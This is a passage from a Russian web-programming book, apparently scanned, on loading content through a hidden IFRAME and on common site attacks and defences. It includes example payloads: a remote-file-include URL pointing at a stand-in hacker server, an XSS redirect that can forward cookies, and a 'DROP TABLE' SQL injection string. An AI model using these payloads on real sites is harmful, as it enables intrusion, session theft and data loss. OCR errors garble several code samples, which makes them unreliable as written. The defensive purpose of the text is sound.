По ту сторону Веб-страницы

Сайт располагается на одной странице

Некоторые современные веб-приложения (например, Gmail) используют так называемые динамические веб-интерфейсы. Суть их в том, чтобы динамически (с помощью языков активных сцена­риев, но при этом обращаясь к серверу) помещать на веб-страницу новое содержимое по запросу пользователя вместо того, чтобы переходить на другую страницу. Это экономит время и трафик.

В большинстве случаев такие интерфейсы реализуются с по­мощью технологии Ajax (Http://Ru.Wikipedia.Org/Wiki/Ajax) и объекта XMLHttpRequest, работа с которым ведется по-разному в браузерах Internet Explorer и Mozilla (и прочими на основе Gecko) и который досту­пен в браузере Opera только с версии 8. В связи с этим код работы с объ­ектом XMLHttpRequest представляет собой не меньше чем библиотеку. Подробнее о реализации таких динамичных обращений к серверу и вы­воде информации в режиме реального времени на экран можно прочи­тать у Дрю Маклеллана (Www.Webmascon.Com/Topics/Technologies/13A.Asp), а кросс-браузерную интерпретацию — в статье Дмитрия Котерова о Subsys_JsHttpRequest (Www.Dklab.Ru/Lib/Subsys_JsHttpBequest/).

В статье рассматривается еще один подход к динамичной под- грузке данных на страницу. Он основан на чтении информации из эле­мента IFRAME нулевой ширины, нулевой высоты и нулевой ширины края BORDER и ее помещении в DIV-блок. Сценарий работает во всех современных браузерах. В браузерах, не поддерживающих современ­ную объектную модель документа, просто будет происходить переход по странице.

Итак, в тексте кода между <BODY> и </BODY> помещаем IFRAME и блок для загрузки информации:

<IFRAME ID="ifrm_cont" SRC="1.html"

FRAMEBORDER="0"

WIDTH="0" HEIGHT="0" onLoad="ploadinfo()"> </lFRAME>

<DIV ID="divo"></DIV>

Между </HEAD> и <BODY> помещаем сценарий:

<SCRIPT LANGUAGE="JavaScript"> function pload(url)

{

Oldbrowsers = (Idocument. getElementByld || (window. opera && !document. readyState)) ? 1:0 if(Ioldbrowsers)

{

Document. getElementById("ifrm cont").src = url }

Else

{

Parent. location = url }

}

Function ploadinfo() { cont = document. getElementById("ifrm cont"). contentWindow. document. documentElement. innerHTML

Document. getElementById("divo").innerHTML = cont

}

</SCRIPT>

Осталось поставить ссылки, которые будут активизиро­вать загрузку. Например, так: <A HREF="2.html? fullview" onClick="pload('2.html'); return false">Страница 2 </A>. Эти ссылки вызывают функцию, перезагружающую IFRAME с новой страницей, адрес которой передается в функцию. Изначально же IFRAME загружается с какой-нибудь стартовой страницей. По факту загрузки содержимого элемента IFRAME активизируется функция, про­читывающая содержимое документа, загруженного в нулевой IFRAME, и заполняющая этим содержимым DIV-блок.

4.5. Сайт выходит из-под контроля

У вас бывали такие ситуации, когда сайт переставал вас слушать­ся? Если нет — очень хорошо. А если да — значит, в его работу вмешался кто-то другой. Грубо говоря, взломал сайт.

Сайт выходит из-под контроля

4.6

Чтобы обезопасить себя, как известно, нужно узнать, чем поль­зуется противник. Узнав некоторые методы взлома сайтов, можно при­нять меры, которые позволят избежать подобных нападений.

Метод, рассчитанный на беспечных

Я бы, конечно, выразился и серьезнее — не беспечных, а неве­жественных. Работа идет с активными сценариями. В главе о языке JavaScript приведен пример, когда скриптом в три строчки можно па­рализовать работу книги отзывов и любого другого средства интерак­тивного обмена мнениями с посетителем, всего лишь потому, что раз­работчик не стал обрабатывать отзывы посетителей перед помещением на сервер. Бывает и хуже. Дело в том, что большинство пользователей смотрит интернет-страницы с помощью браузера Internet Explorer. Об­щеизвестно, что в этом браузере работают как вариант JavaScript — JScript с поддержкой средств работы с файловой системой, так и язык VBScript — он в принципе работает только в этом браузере под Windows (или на серверах). Это значит, что сценариями в этом браузере можно манипулировать файлами и другими объектами в операционной систе­ме, а также копировать файлы с сервера на компьютер. А если учесть, что включаемые сценарии (в файлах с расширениями. js и. vbs) загружа­ются во временные папки на компьютер, то при запуске этих сценариев с вредоносным кодом может произойти непоправимое (троянские фай­лы, удаление и перезапись нужных файлов). Особенно это происходит, если уровень защиты недостаточно высок. И если разработчик не сделал так, чтобы код при обработке данных формы заменялся на специальные подстановки, то можно потерять файлы и на сервере. А ведь сценарии можно вставить не только тэгом <script>, но и с помощью событий, вставляя их в тэги.

Метод подстановки файлов, или PHP-инъекция

Известно, что в большинстве серверных технологий есть средс­тва, позволяющие включать один файл в другой. В части случаев это делается жестким, принудительным методом, когда один файл прос­то запрашивает информацию из другого файла, и это происходит при каждом запросе страницы одинаково (хотя содержание включаемых страниц может меняться). Примеры — включение файлов оформления (шапка и нижняя часть страницы), включение меню, файлов с других серверов. В коде страницы просто пишутся инструкции, заставляющие один файл включать в себя другой.

Но часто встречаются ситуации, когда файл включа­ется динамически. Часто на сайтах попадаются адреса вроде domain. com/?page=company. Суть метода проста: есть ядерный сцена­рий (например, в файле index. php, который загружается по умолчанию); если в строке запроса не передан никакой параметр, то загружается

4

Программирование

Какая-то страница, указанная в сценарии как страница по умолча­нию; если же передано значение какой-то переменной, значение кото­рой — имя файла (или его часть — подставить расширение файла не так сложно), то включается именно этот файл. Легко можно выяснить ос­новную структуру файлов и директорий (например, попробовать за­грузить domain. com/company. php, или domain. com/files/company. php, или domain. com/company. htm — вариантов масса, но перепробовать можно все, особенно если подготовить инструментарий). Дело облегчается, если адреса еще более прозрачны, например, domain. com/?path=company/stuff. Но это не главное. Если разработчик не позаботился о безопасности, то злоумышленник может вручную набрать адрес — например, такой: domain. com/?page=Http://Hakersky-Server.Com/Hack. Что сделает ядерный сценарий? Он примет строку запроса и включит файл с чужого серве­ра, услужливо подставив ему расширение. Что нужно сделать хакеру? Просто написать эту страницу, которой он может управлять файлами на сервере. Поскольку страница включена в основной файл, она авто­матически становится частью сервера, а значит, и получает права на уп­равление. Для начала хакер сможет выяснить полную структуру файлов и директорий на сервере (рекурсивным обходом директорий), потом выяснит переменные окружения, версию PHP и его параметра (функ­ция phpinfo() ), а затем начнет управлять сервером.

Что делать (и кто виноват)? В первую очередь — заменить все ва­рианты префикса http на пустую строку (сценарием, конечно). Чтобы исправить все варианты, нужно сначала перевести все символы полу­ченной строки в нижний регистр. Если сервер не очень большой, мож­но составить список файлов, допустимых к загрузке:

<?

$module=$ GET['module'];

$arr=array(,main,,,about,,,links,,,forum'); if(!in array($module,$arr))$module=$arr[0]; include "$module. php";

?>

Можно использовать другие военные хитрости: при получении строки запроса в нем заменяются некоторые символы и производится проверка существования файла. Например, «о» заменится на «u», «t» — на «d», «/» — на «l», «.» — на «_», а «:» заменится на «w». В этому случае будет запрашиваться фактически не страница company. php, а страница cumpany. php (именно она должна существовать на сервере); даже если не убирать префикс http, в указанном примере сценарий получит на об­работку адрес hddpwllhakersky-server_cumlhack. php, не найдет на сервере

370

Сайт выходит из-под контроля

4.6

Такого адреса и спокойно проигнорирует его. И еще средство: не делать имена переменных столь очевидными. Иногда достаточно делать адреса вида domain. com/7company/stujf или вообще domain. com/company/stuff— в книге есть подробные инструкции, как сделать так, чтобы псевдоди­ректории расценивались сценарием как строка запроса.

Да, и кто виноват: веб-разработчик, который не ставит себя на место заказчика, случайного посетителя, новичка в сети, опытного пользователя и хакера.

Метод включения, или инклюда (англ. include — «включать»)

У каждого хакера есть свой сервер — неважно, арендуемый или личный. На этом сервере есть страницы, которым можно передавать в качестве параметра на обработку чужие страницы. Например, так: на hakersky-server. com есть страница shell. php (или shell. pl, или на другом языке, удобном хакеру). Эта страница позволяет включать в себя файлы с других серверов. Поскольку загружать можно не целиком сформиро­ванные страницы, а отдельные файлы, то хакер может увидеть секретную информацию, просто отключив средства подавления ошибок. Простей­ший пример: в качестве входного параметра файлу shell. php передается адрес Http://Chey-To-Server.Com/Header.Php. Если такой файл существует, хакер радуется, как ребенок, и продолжает работать. Вероятно, на этом чьем-то сервере файл header. php включается в какие-то другие файлы, но в данном случае этого не происходит, и выдаются ошибки либо прос­то некорректный код. В ошибках сообщается, какие именно переменные не инициализированы и т. п. Используя эту информацию, хакер в конце концов может добраться и до тех фрагментов сайта, которые могут пов­лиять на его работу — страницы, которые позволяют записывать текст в файлы и БД, обладают средствами загрузки файлов. Такой подход до­статочно сложен — обычно это кропотливая ручная работа.

На руку хакерам всегда играет шаблонность мышления разработ­чиков. Какой главный файл в директории? Правильно, index. html (или с иными расширениями: чаще всего несложно выяснить, какие расши­рения у файлов на сайте, даже если они скрыты). Изредка — default. html. И редко у кого хватит фантазии назвать главный файл glavnyj. html или apelsin. app, хотя это вполне возможно (главное — правильно написать конфигурационные файлы). Как называются переменная, отвечающая за включение страницы? Правильно, $page, $file или $stranica. Раздел «О компании» всегда называется company. html или about. html — как и файл, который отвечает за загрузку этой страницы. А ведь можно проявить фантазию и тем самым запутать злоумышленника.

Часто разработчики тщательно продумывают защиту ядерных сценариев, но забывают о защите включаемых файлов. В итоге, выяс­нив URL какого-либо системного файла, злоумышленник может узнать достаточно много интересного.

Межсайтовый скриптинг, или XSS

В основе межсайтового скриптинга — игра с уязвимостя­ми сценария атакуемого сервера с помощью ссылок, сформирован­ных определенным образом. Очень легко взламывать сайты, ко­торые используют GET-методы для передачи данных, немного сложнее — с использованием POST-форм. Представим, что на сайте используется переменная $name, значение которой передается через строку запроса (/index. php? name=Ivan%20Fedorov). Если на страни­це есть прямой вывод переменной, то выведется текст «Ivan Fedorov» (в адресах недопустимы пробелы, поэтому вместо них использу­ется подстановка %2 0). Если мы напишем адрес наподобие этого: /index. php? name=<h1>Ivan%20Fedorov</h1> — то на странице слова «Ivan Fedorov» станут заголовком первого уровня. А это уже грустно. По­тому что, если сервер не настроен на запрет символов вроде скобок для тэгов, а в сценарии нет кусочка, заменяющего такие символы на пус­тую строку, никто не мешает вместо тэгов заголовка написать тэги сце­нария. А в этих тэгах — сам сценарий. А в сценарии, например, такое: document. location. replace('Http://hakersky-sajt. ru/ systemcrush. php' ) — в результате чего посетитель мгновенно пе­реместится на указанную страницу. Со всеми вытекающими. Страница, на которую перекинуло жертву, выполняет некоторые действия. Они могут быть достаточно безобидными, например, вывод рекламы, а могут быть критическими — запись данных, перехват пользовательской сессии. Ведь можно осуществлять не только переброс на страницу, но и перехват и пересылку некоторых переменных с их значениями, Cookies и т. п.

Варианты защиты достаточно просты: точная настройка сервера, запрещающая вызов страниц по адресам, содержащим некоторые сим­волы (скобки, ломаные скобки, точку, двойные слэши), и замена таких символов сценарием, обрабатывающим запросы из адресной строки или данных формы. Первое часто предоставляют хостеры, второе оста­ется на совести разработчика сайта.

Методрадужных таблиц, или RainbowCrack

RainbowCrack, строго говоря, — это не метод, а программа для взлома паролей. Особенность ее в том, что в ней осуществляется не простой перебор вариантов паролей, а все вычисленные значения хранятся в специальных таблицах, что существенно уменьшает время подбора пароля. Эта программа вскрывает пароли, сгенерированные с помощью необратимой хэш-функции. Метод не работает в том случае, когда наряду с хэшированием применяют так называемую «соль» — пе­ред результатом шифрования записываются два случайных символа, также детерминированные функцией. Это значит, что наряду с под­бором исходного пароля, восстановленного из хэша, нужно подобрать еще и «соль» (результат = соль. md5(пароль. соль)).

Сайт выходит из-под контроля

4.6

Таким образом, защититься от взлома сложно, но можно: не со­здавать простых паролей, делать их максимально длинными, тщательно шифровать их (наряду со средствами шифрования, предоставляемыми языками серверных сценариев, можно применять и свои функции не­обратимого искажения паролей).

Есть и другие алгоритмы вскрытия паролей, например, The UDC с поддержкой коррекции ошибки ввода. Веб-разработчику нужно тща­тельно изучать возможности дешифровки паролей и создавать макси­мальную защиту от этого.

SQL-инъекция

Этот вид хакерских атак у всех на слуху в связи с тем, что исполь­зование баз данных (особенно MySCQL) для хранения информации очень популярно. Метод состоит в том, что странице каким-то образом передается код SQL-запроса с заведомо вредительскими действиями. Предположим, что код, генерирующий запрос (на языке программи­рования Паскаль), выглядит так: statement := 'SELECT * FROM users WHERE name = "' + userName + '";';

Если в качестве userName задать строку 'a"; DROP TABLE users; SELECT * FROM data WHERE name LIKE "%', то будет сгенерирована такая SQL-команда:

SELECT * FROM users WHERE name = "a"; DROP TABLE users; SELECT * FROM data WHERE name LIKE "%";

Безопасный код должен проводить замену кавычки на ", апос­трофа на ', обратной косой черты на \ (это называется «экраниро­вать спецсимволы»). Это можно делать таким кодом: statement : = 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ;;

Perl, PHP, Java, Delphi и другие языки, ориентированные на базы данных, имеют встроенные средства, автоматически выпол­няющие эту операцию: на Delphi — свойство TQuery. Params; на Perl — через DBI::quote или DBI::prepare; на Java — через класс PreparedStatement; на C# — свойство SqlCommand. Parameters; на PHP (при работе с MySQL) — функции mysql escape string, mysql real escape string, addslashes.

Социальная инженерия

Очень, очень губительный метод, рассчитанный на доверчивых людей. Для воплощения этого метода в жизнь не нужно писать сцена­риев и разбираться в алгоритмах шифрования.

Люди постоянно где-то регистрируются. Часто они забывают па­роли. А иногда происходят сбои технического характера. Люди уже при-

Выкли к этому, и часто не составляет труда выведать пароль письмом яко­бы от службы поддержки: «Данное письмо сгенерировано сервером. Для подтверждения использования услуг нашего сервера пришлите ответным письмом ваш пароль» — или более изобретательно. Иногда используется не электронная почта, а ICQ, телефон и другие средства. Представив­шись от имени служащего, злоумышленник просит напомнить пароль пользователя либо меняет его на новый, сославшись на забывчивость. Имена служащих удается узнать после череды звонков и изучения имен руководителей на сайте компании и других источников открытой ин­формации (отчетов, рекламы и т. п.). Доверчивых людей много, и неко­торые из них сообщают свои пароли, а потом удивляются.

Берегите себя.

По ту сторону Веб-страницы

Словарь

Ботки. Обычно расширения состоят из трех букв (exe, gif, php, mov, bmp, eps, swf, asp, m3u, avi, rtf, txt, zip, cpp), но встречаются также двухбуквенные (js, ai) и четырехбуквенные (html, …

Справочник для внутреннего использования

Навигация есть признание того, что твоя страница далека от иде­ала. Ибо если бы она была близка к нему, зачем бы потребовалось покидать ее? А если ее не требуется покидать, зачем …

Алфавит от Google

Есть такая тестирующаяся поисковая подсистема от Google (Http://Www.Google.Com/Webhp?Complete=1&Hl=En), в которой по введенным первым буквам предлагаются наиболее часто за­прашиваемые слова. Я собрал все первые (наиболее рейтинговые) слова на каждую букву русского …

Как с нами связаться:

Украина:
г.Александрия
тел./факс +38 05235  77193 Бухгалтерия

+38 050 457 13 30 — Рашид - продажи новинок
e-mail: msd@msd.com.ua
Схема проезда к производственному офису:
Схема проезда к МСД

Партнеры МСД

Контакты для заказов оборудования:

Внимание! На этом сайте большинство материалов - техническая литература в помощь предпринимателю. Так же большинство производственного оборудования сегодня не актуально. Уточнить можно по почте: Эл. почта: msd@msd.com.ua

+38 050 512 1194 Александр
- телефон для консультаций и заказов спец.оборудования, дробилок, уловителей, дражираторов, гереторных насосов и инженерных решений.